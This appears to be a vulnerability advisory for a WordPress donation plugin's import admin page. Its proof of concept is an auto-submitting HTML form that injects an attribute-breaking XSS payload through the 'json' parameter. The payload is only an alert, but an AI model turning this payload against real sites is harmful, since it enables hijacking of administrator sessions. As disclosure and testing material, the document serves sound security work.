The plugin does not escape the json parameter before outputting it back in an attribute in the Import admin dashboard, leading to a Reflected Cross-Site Scripting
<html>
<body>
<form id="hack" action="https://example.com/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=import&importer-type=import_core_setting" method="POST">
<input type="hidden" name="json" value='" style="animation-name:rotation" onanimationstart="alert(/XSS/)" t="' />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
var form1 = document.getElementById('hack');
form1.submit();
</script>
</html>